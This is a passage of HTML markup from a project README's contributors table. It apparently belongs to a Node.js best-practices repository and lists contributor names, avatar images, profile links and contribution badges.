style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>David Sancho</b></sub></a><br /><a href="#content-davesnx" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://apiforge.it"><img src="https://avatars0.githubusercontent.com/u/4929965?v=4" width="100px;" alt="Robert Manolea"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Robert Manolea</b></sub></a><br /><a href="#content-pupix" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://jumptoglide.com"><img src="https://avatars2.githubusercontent.com/u/708395?v=4" width="100px;" alt="Xavier Ho"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Xavier Ho</b></sub></a><br /><a href="#content-spaxe" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.ocular-rhythm.io"><img src="https://avatars0.githubusercontent.com/u/2738518?v=4" width="100px;" alt="Aaron"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Aaron</b></sub></a><br /><a href="#content-ocularrhythm" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://septa97.me"><img src="https://avatars2.githubusercontent.com/u/13742634?v=4" width="100px;" alt="Jan Charles Maghirang Adona"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Jan Charles Maghirang Adona</b></sub></a><br /><a href="#content-septa97" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.cakeresume.com/allenfang"><img src="https://avatars2.githubusercontent.com/u/5351390?v=4" width="100px;" alt="Allen"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Allen</b></sub></a><br /><a href="#content-AllenFang" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/leonardovillela"><img src="https://avatars3.githubusercontent.com/u/8650543?v=4" width="100px;" alt="Leonardo Villela"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Leonardo Villela</b></sub></a><br /><a href="#content-leonardovillela" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://michalzalecki.com"><img src="https://avatars1.githubusercontent.com/u/3136577?v=4" width="100px;" alt="Michał Załęcki"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Michał Załęcki</b></sub></a><br /><a href="#content-MichalZalecki" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.wealthbar.com"><img src="https://avatars1.githubusercontent.com/u/156449?v=4" width="100px;" alt="Chris Nicola"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Chris Nicola</b></sub></a><br /><a href="#content-chrisnicola" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://twitter.com/aecorredor"><img src="https://avatars3.githubusercontent.com/u/9114987?v=4" width="100px;" alt="Alejandro Corredor"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Alejandro Corredor</b></sub></a><br /><a href="#content-aecorredor" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/cwar"><img src="https://avatars3.githubusercontent.com/u/272843?v=4" width="100px;" alt="cwar"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>cwar</b></sub></a><br /><a href="#content-cwar" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/keyfoxth"><img src="https://avatars3.githubusercontent.com/u/10647132?v=4" width="100px;" alt="Yuwei"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Yuwei</b></sub></a><br /><a href="#content-keyfoxth" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://bigcodenerd.org"><img src="https://avatars3.githubusercontent.com/u/10895594?v=4" width="100px;" alt="Utkarsh Bhatt"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Utkarsh Bhatt</b></sub></a><br /><a href="#content-utkarshbhatt12" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/duartemendes"><img src="https://avatars2.githubusercontent.com/u/12852058?v=4" width="100px;" alt="Duarte Mendes"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Duarte Mendes</b></sub></a><br /><a href="#content-duartemendes" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://jasonkim.ca"><img src="https://avatars2.githubusercontent.com/u/103456?v=4" width="100px;" alt="Jason Kim"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Jason Kim</b></sub></a><br /><a href="#content-serv" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Max101"><img src="https://avatars2.githubusercontent.com/u/2124249?v=4" width="100px;" alt="Mitja O."style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Mitja O.</b></sub></a><br /><a href="#content-Max101" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://sandromiguel.com"><img src="https://avatars0.githubusercontent.com/u/6423157?v=4" width="100px;" alt="Sandro Miguel Marques"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Sandro Miguel Marques</b></sub></a><br /><a href="#content-SandroMiguel" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/GabeKuslansky"><img src="https://avatars3.githubusercontent.com/u/9855482?v=4" width="100px;" alt="Gabe"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Gabe</b></sub></a><br /><a href="#content-GabeKuslansky" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://ripper234.com/"><img src="https://avatars1.githubusercontent.com/u/172282?v=4" width="100px;" alt="Ron Gross"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Ron Gross</b></sub></a><br /><a href="#content-ripper234" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.thecodebarbarian.com"><img src="https://avatars2.githubusercontent.com/u/1620265?v=4" width="100px;" alt="Valeri Karpov"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Valeri Karpov</b></sub></a><br /><a href="#content-vkarpov15" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://sergiobernal.com"><img src="https://avatars3.githubusercontent.com/u/20087388?v=4" width="100px;" alt="Sergio Bernal"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Sergio Bernal</b></sub></a><br /><a href="#content-imsergiobernal" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ntelkedzhiev"><img src="https://avatars2.githubusercontent.com/u/7332371?v=4" width="100px;" alt="Nikola Telkedzhiev"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Nikola Telkedzhiev</b></sub></a><br /><a href="#content-ntelkedzhiev" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/vitordagamagodoy"><img src="https://avatars0.githubusercontent.com/u/26370059?v=4" width="100px;" alt="Vitor Godoy"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Vitor Godoy</b></sub></a><br /><a href="#content-vitordagamagodoy" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.manishsaraan.com/"><img src="https://avatars2.githubusercontent.com/u/19797340?v=4" width="100px;" alt="Manish Saraan"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Manish Saraan</b></sub></a><br /><a href="#content-manishsaraan" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/uronly14me"><img src="https://avatars2.githubusercontent.com/u/5186814?v=4" width="100px;" alt="Sangbeom Han"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Sangbeom Han</b></sub></a><br /><a href="#content-uronly14me" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://blackmatch.github.io"><img src="https://avatars3.githubusercontent.com/u/12443954?v=4" width="100px;" alt="blackmatch"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>blackmatch</b></sub></a><br /><a href="#content-blackmatch" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://simmsreeve.com"><img src="https://avatars3.githubusercontent.com/u/5173131?v=4" width="100px;" alt="Joe Reeve"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Joe Reeve</b></sub></a><br /><a href="#content-ISNIT0" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/BusbyActual"><img src="https://avatars2.githubusercontent.com/u/14985016?v=4" width="100px;" alt="Ryan Busby"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Ryan Busby</b></sub></a><br /><a href="#content-BusbyActual" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://jsdecorator.com"><img src="https://avatars3.githubusercontent.com/u/4482199?v=4" width="100px;" alt="Iman Mohamadi"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Iman Mohamadi</b></sub></a><br /><a href="#content-ImanMh" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/HeeL"><img src="https://avatars1.githubusercontent.com/u/287769?v=4" width="100px;" alt="Sergii Paryzhskyi"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Sergii Paryzhskyi</b></sub></a><br /><a href="#content-HeeL" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/kapilepatel"><img src="https://avatars3.githubusercontent.com/u/25738473?v=4" width="100px;" alt="Kapil Patel"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Kapil Patel</b></sub></a><br /><a href="#content-kapilepatel" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://twitter.com/justjavac"><img src="https://avatars1.githubusercontent.com/u/359395?v=4" width="100px;" alt="迷渡"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>迷渡</b></sub></a><br /><a href="#content-justjavac" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/hozefaj"><img src="https://avatars1.githubusercontent.com/u/2084833?v=4" width="100px;" alt="Hozefa"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Hozefa</b></sub></a><br /><a href="#content-hozefaj" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/el-ethan"><img src="https://avatars3.githubusercontent.com/u/10249884?v=4" width="100px;" alt="Ethan"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Ethan</b></sub></a><br /><a href="#content-el-ethan" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/milkdeliver"><img src="https://avatars2.githubusercontent.com/u/3108407?v=4" width="100px;" alt="Sam"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Sam</b></sub></a><br /><a href="#content-milkdeliver" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ArlindXh"><img src="https://avatars0.githubusercontent.com/u/19508764?v=4" width="100px;" alt="Arlind"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Arlind</b></sub></a><br /><a href="#content-ArlindXh" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ttous"><img src="https://avatars0.githubusercontent.com/u/19815440?v=4" width="100px;" alt="Teddy Toussaint"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Teddy Toussaint</b></sub></a><br /><a href="#content-ttous" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://ardern.io"><img src="https://avatars2.githubusercontent.com/u/2419690?v=4" width="100px;" alt="Lewis"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Lewis</b></sub></a><br /><a href="#content-LewisArdern" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://gabriellidenor.com/"><img src="https://avatars2.githubusercontent.com/u/765963?v=4" width="100px;" alt="Gabriel Lidenor "style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Gabriel Lidenor </b></sub></a><br /><a href="#content-GabrielLidenor" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/animir"><img src="https://avatars3.githubusercontent.com/u/4623196?v=4" width="100px;" alt="Roman"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Roman</b></sub></a><br /><a href="#content-animir" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Francozeira"><img src="https://avatars1.githubusercontent.com/u/47419763?v=4" width="100px;" alt="Francozeira"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Francozeira</b></sub></a><br /><a href="#content-Francozeira" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://twitter.com/invvard"><img src="https://avatars0.githubusercontent.com/u/7305493?v=4" width="100px;" alt="Invvard"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Invvard</b></sub></a><br /><a href="#content-Invvard" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://romulogarofalo.github.io/"><img src="https://avatars1.githubusercontent.com/u/18492592?v=4" width="100px;" alt="Rômulo Garofalo"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Rômulo Garofalo</b></sub></a><br /><a href="#content-romulogarofalo" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://thoqbk.github.io/"><img src="https://avatars0.githubusercontent.com/u/1491103?v=4" width="100px;" alt="Tho Q Luong"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Tho Q Luong</b></sub></a><br /><a href="#content-thoqbk" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Qeneke"><img src="https://avatars2.githubusercontent.com/u/20271568?v=4" width="100px;" alt="Burak Shen"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Burak Shen</b></sub></a><br /><a href="#content-Qeneke" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.happy-css.com"><img src="https://avatars0.githubusercontent.com/u/2950505?v=4" width="100px;" alt="Martin Muzatko"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Martin Muzatko</b></sub></a><br /><a href="#content-MartinMuzatko" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/autoboxer"><img src="https://avatars3.githubusercontent.com/u/2757601?v=4" width="100px;" alt="Jared Collier"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Jared Collier</b></sub></a><br /><a href="#content-autoboxer" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://hiltonmeyer.com"><img src="https://avatars3.githubusercontent.com/u/4545860?v=4" width="100px;" alt="Hilton Meyer"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Hilton Meyer</b></sub></a><br /><a href="#content-bikingbadger" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://kr.vuejs.org"><img src="https://avatars0.githubusercontent.com/u/1451365?v=4" width="100px;" alt="ChangJoo Park(박창주)"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>ChangJoo Park(박창주)</b></sub></a><br /><a href="#content-ChangJoo-Park" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MasahiroSakaguchi"><img src="https://avatars0.githubusercontent.com/u/16427431?v=4" width="100px;" alt="Masahiro Sakaguchi"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Masahiro Sakaguchi</b></sub></a><br /><a href="#content-MasahiroSakaguchi" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/TheHollidayInn"><img src="https://avatars1.githubusercontent.com/u/1253400?v=4" width="100px;" alt="Keith Holliday"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Keith Holliday</b></sub></a><br /><a href="#content-TheHollidayInn" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.coreycleary.me"><img src="https://avatars3.githubusercontent.com/u/1485356?v=4" width="100px;" alt="coreyc"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>coreyc</b></sub></a><br /><a href="#content-coreyc" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://maxcubing.wordpress.com"><img src="https://avatars0.githubusercontent.com/u/8260834?v=4" width="100px;" alt="Maximilian Berkmann"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Maximilian Berkmann</b></sub></a><br /><a href="#content-Berkmann18" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/DouglasMV"><img src="https://avatars3.githubusercontent.com/u/32845487?v=4" width="100px;" alt="Douglas Mariano Valero"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Douglas Mariano Valero</b></sub></a><br /><a href="#content-DouglasMV" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/marcelosdm"><img src="https://avatars0.githubusercontent.com/u/18266600?v=4" width="100px;" alt="Marcelo Melo"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Marcelo Melo</b></sub></a><br /><a href="#content-marcelosdm" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://twitter.com/mperk_"><img src="https://avatars0.githubusercontent.com/u/3465794?v=4" width="100px;" alt="Mehmet Perk"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Mehmet Perk</b></sub></a><br /><a href="#content-mperk" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ryanouyang"><img src="https://avatars2.githubusercontent.com/u/360426?v=4" width="100px;" alt="ryan ouyang"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>ryan ouyang</b></sub></a><br /><a href="#content-ryanouyang" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/shabeer-mdy"><img src="https://avatars0.githubusercontent.com/u/26842535?v=4" width="100px;" alt="Shabeer"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Shabeer</b></sub></a><br /><a href="#content-shabeer-mdy" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/halfzebra"><img src="https://avatars1.githubusercontent.com/u/3983879?v=4" width="100px;" alt="Eduard Kyvenko"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Eduard Kyvenko</b></sub></a><br /><a href="#content-halfzebra" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://deyvisonrocha.com"><img src="https://avatars2.githubusercontent.com/u/686067?v=4" width="100px;" alt="Deyvison Rocha"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Deyvison Rocha</b></sub></a><br /><a href="#content-deyvisonrocha" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://twitter.com/georgemamer"><img src="https://avatars1.githubusercontent.com/u/20108934?v=4" width="100px;" alt="George Mamer"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>George Mamer</b></sub></a><br /><a href="#content-georgem3" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/leimonio"><img src="https://avatars0.githubusercontent.com/u/1969742?v=4" width="100px;" alt="Konstantinos Leimonis"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Konstantinos Leimonis</b></sub></a><br /><a href="#content-leimonio" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Zybax"><img src="https://avatars3.githubusercontent.com/u/22094453?v=4" width="100px;" alt="Oliver Lluberes"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Oliver Lluberes</b></sub></a><br /><a href="#translation-Zybax" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://stackoverflow.com/story/tiendq"><img src="https://avatars2.githubusercontent.com/u/815910?v=4" width="100px;" alt="Tien Do"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Tien Do</b></sub></a><br /><a href="#content-tiendq" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://singh1114.github.io/"><img src="https://avatars0.githubusercontent.com/u/11356398?v=4" width="100px;" alt="Ranvir Singh"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Ranvir Singh</b></sub></a><br /><a href="#content-singh1114" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/collierrgbsitisfise"><img src="https://avatars3.githubusercontent.com/u/13496126?v=4" width="100px;" alt="Vadim Nicolaev"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Vadim Nicolaev</b></sub></a><br /><a href="#content-collierrgbsitisfise" title="Content">🖋</a> <a href="#translation-collierrgbsitisfise" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/germangamboa95"><img src="https://avatars3.githubusercontent.com/u/28633849?v=4" width="100px;" alt="German Gamboa Gonzalez"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>German Gamboa Gonzalez</b></sub></a><br /><a href="#content-germangamboa95" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/AbdelrahmanHafez"><img src="https://avatars3.githubusercontent.com/u/19984935?v=4" width="100px;" alt="Hafez"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Hafez</b></sub></a><br /><a href="#content-AbdelrahmanHafez" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://linkedin.com/in/chandiran-dmc"><img src="https://avatars3.githubusercontent.com/u/42678579?v=4" width="100px;" alt="Chandiran"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Chandiran</b></sub></a><br /><a href="#content-chandiran-dmc" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/VinayaSathyanarayana"><img src="https://avatars2.githubusercontent.com/u/16976677?v=4" width="100px;" alt="VinayaSathyanarayana"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>VinayaSathyanarayana</b></sub></a><br /><a href="#content-VinayaSathyanarayana" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.kimkern.de"><img src="https://avatars1.githubusercontent.com/u/2671139?v=4" width="100px;" alt="Kim Kern"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Kim Kern</b></sub></a><br /><a href="#content-kiwikern" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://kennethfreitas.github.io/"><img src="https://avatars2.githubusercontent.com/u/55669043?v=4" width="100px;" alt="Kenneth Freitas"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Kenneth Freitas</b></sub></a><br /><a href="#content-kennethfreitas" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/songe"><img src="https://avatars2.githubusercontent.com/u/1531561?v=4" width="100px;" alt="songe"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>songe</b></sub></a><br /><a href="#content-songe" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="http://ksed.dev"><img src="https://avatars1.githubusercontent.com/u/30693707?v=4" width="100px;" alt="Kirill Shekhovtsov"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Kirill Shekhovtsov</b></sub></a><br /><a href="#content-Ksedline" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/SerzN1"><img src="https://avatars0.githubusercontent.com/u/2534649?v=4" width="100px;" alt="Serge"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Serge</b></sub></a><br /><a href="#content-SerzN1" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/keyrwinz"><img src="https://avatars3.githubusercontent.com/u/21241761?v=4" width="100px;" alt="keyrwinz"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>keyrwinz</b></sub></a><br /><a href="#content-keyrwinz" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/nDmitry"><img src="https://avatars0.githubusercontent.com/u/2134568?v=4" width="100px;" alt="Dmitry Nikitenko"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Dmitry Nikitenko</b></sub></a><br /><a href="#content-nDmitry" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://bushuai.cc"><img src="https://avatars0.githubusercontent.com/u/1875256?v=4" width="100px;" alt="bushuai"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>bushuai</b></sub></a><br /><a href="https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Abushuai" title="Reviewed Pull Requests">👀</a> <a href="#content-bushuai" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://stackoverflow.com/users/1348195/benjamin-gruenbaum"><img src="https://avatars2.githubusercontent.com/u/1315533?v=4" width="100px;" alt="Benjamin Gruenbaum"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Benjamin Gruenbaum</b></sub></a><br /><a href="#content-benjamingr" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/byeze"><img src="https://avatars1.githubusercontent.com/u/7424138?v=4" width="100px;" alt="Ezequiel"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Ezequiel</b></sub></a><br /><a href="#translation-byeze" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/juaoose"><img src="https://avatars3.githubusercontent.com/u/994594?v=4" width="100px;" alt="Juan José Rodríguez"style="max-width:100px;min-width:100px;" /><br 